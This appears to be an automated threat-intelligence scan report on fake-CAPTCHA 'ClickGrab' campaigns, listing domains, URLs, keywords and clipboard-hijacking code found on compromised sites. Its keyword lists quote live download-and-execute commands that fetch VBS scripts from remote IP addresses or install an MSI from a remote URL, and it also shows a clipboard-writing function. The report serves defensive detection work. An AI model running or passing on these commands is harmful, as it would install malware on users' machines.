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Emerging ClickGrab Campaign: Advanced Analysis of 2026-06-25 Attack Patterns

📅 Published: June 25, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
16%Detection
3PS Downloads

ClickGrab Threat Analysis Report - 2026-06-25

Generated on 2026-06-25 01:44:45

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 16
  • Unique domains encountered: 1,337
  • Total URLs extracted: 11,712
  • PowerShell download attempts: 3
  • Clipboard manipulation instances: 62

Domain Analysis

Most Frequently Encountered Domains

  • sun1118.com: 4,766 occurrences
  • bharatnamkeens.com: 375 occurrences
  • baovechuyennghiep.baovengayvadem.com: 348 occurrences
  • 98.70.13.131: 303 occurrences
  • picsera.com: 227 occurrences
  • scillarodriguez.com: 198 occurrences
  • www.ccera-icar.org: 178 occurrences
  • www.samsung.com: 174 occurrences
  • senevie.com: 165 occurrences
  • www.evodigital.com.au: 156 occurrences
  • www.creatorssky.com: 152 occurrences
  • setenews.com: 150 occurrences
  • devblog.ezeelogin.com: 126 occurrences
  • picsera.sirv.com: 125 occurrences
  • www.dorper.com.au: 125 occurrences

URL Pattern Analysis

reCAPTCHA imagery

19 occurrences across 14 distinct URLs

  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (3 times)
  • https://www.google.com/recaptcha/api.js?onload=recaptchaCallback&render=explicit (2 times)
  • https://www.google.com/recaptcha/api.js (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
  • http://172.96.189.153/wp-content/plugins/cf-security-shield/assets/css/captcha-styles.css?ver=1.0.0 (1 times)
  • ...and 9 more distinct URLs

Font resources

69 occurrences across 52 distinct URLs

  • https://fonts.gstatic.com (6 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Bold.ttf (4 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Regular.ttf (4 times)
  • https://use.fontawesome.com/releases/v5.0.0/css/all.css (3 times)
  • https://fonts.googleapis.com (3 times)
  • ...and 47 more distinct URLs

CDN hosted scripts

10 occurrences across 10 distinct URLs

  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css?ver=6.8.5 (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.min.js?ver=6.0.8 (1 times)
  • ...and 5 more distinct URLs

Google resources

97 occurrences across 60 distinct URLs

  • https://bharatnamkeens.com/wp-content/plugins/widget-google-reviews/assets/img/guest.png (18 times)
  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (5 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (3 times)
  • https://www.googletagmanager.com/gtm.js?id= (3 times)
  • https://www.google (3 times)
  • ...and 55 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 402 (107 unique)

Keyword Categories

Social Engineering

59 unique keywords

  • CaptchaImages
  • captcha-container
  • To better prove you are not a robot
  • Verification
  • command = "msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
  • I am not a robot
  • CaptchaLoading
  • verification-id
  • captcha_word_new_434929
  • robot
  • ...and 49 more

Obfuscation Indicators

5 unique keywords

  • eval('var timeOut'+popupItems[i].id)
  • eval("clearTimeout(timeOut"+uid+")")
  • eval("clearTimeout(timeIn"+uid+")")
  • eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
  • eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")

System Commands

24 unique keywords

  • cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://198.13.158.127:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • command safe so later code runs */
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://198.13.158.127:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
  • command into the terminal and press <kbd>Enter</kbd>.</li>
  • `exec(ua) != null) { rv = parseFloat(RegExp.$1); } } else if (n.appName == "Netscape") { rv = 11; re = new RegExp("Trident/.rv:([0-9]+[.0-9])"); if (re.exec(ua) != null) { rv = parseFloat(RegExp.$1); } } }

return rv; }

})(window, document, navigator)-command prompt application on your system.-PowerShell-exec(-Invoke` - ...and 14 more

Verification Text

3 unique keywords

  • ray id
  • hidden
  • Hidden

Technical Terms

16 unique keywords

  • .ps1
  • WinHttpRequest
  • Odyssey
  • responseText
  • Ray ID
  • .bat
  • press Enter
  • You will observe
  • navigator.clipboard.writeText
  • bypass
  • ...and 6 more

Most Frequent Keywords

  • hidden: 38 occurrences
  • robot: 36 occurrences
  • failed_to_retrieve: 28 occurrences
  • Robot: 26 occurrences
  • captcha: 18 occurrences
  • CAPTCHA: 12 occurrences
  • Verification: 12 occurrences
  • verification: 12 occurrences
  • I am not a robot: 10 occurrences
  • CAPTCHA Verification: 9 occurrences
  • You will observe: 9 occurrences
  • verification-id: 9 occurrences
  • To better prove you are not a robot: 9 occurrences
  • Verification ID: 8 occurrences
  • Ray ID: 7 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';

Group 2: CAPTCHA Verification, CAPTCHA-verificatie-ID, Verification, verification, captcha-verified

Group 3: Verification ID, verification-id, verification id, Verification Hash, verification_id

Group 4: Ray ID, ray id

Group 5: CAPTCHA, Captcha, CaptchaImages, captcha-modal, captcha, captcha_page, captcha-logo, CAPTCHA-logo, captcha-box, captcha_word, captcha_sid, captcha-js, captcha_0, captcha_link_, CaptchaError

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • com/dist/web/assets/google
  • com/123/cloudflare/verify/humanverfification/cloud...
  • /bitrix/tools/captcha
  • 03801e91e03c857332e2aa9f64fa545f
  • live/iamchallenge/verification/UserID7383526

Clipboard Manipulation Analysis

Detected clipboard manipulation in 62 instances.

Document.Execcommand Copy

Found in 28 snippets (45.2% of clipboard code)

Examples:

...try { const successful = document.execCommand('copy')

document.execCommand('copy')

document.execCommand("copy")

Textarea Manipulation

Found in 28 snippets (45.2% of clipboard code)

Examples:

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

tListener("click", function () { const textarea = document.createElement('textarea'

ng is the safe placeholder above const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.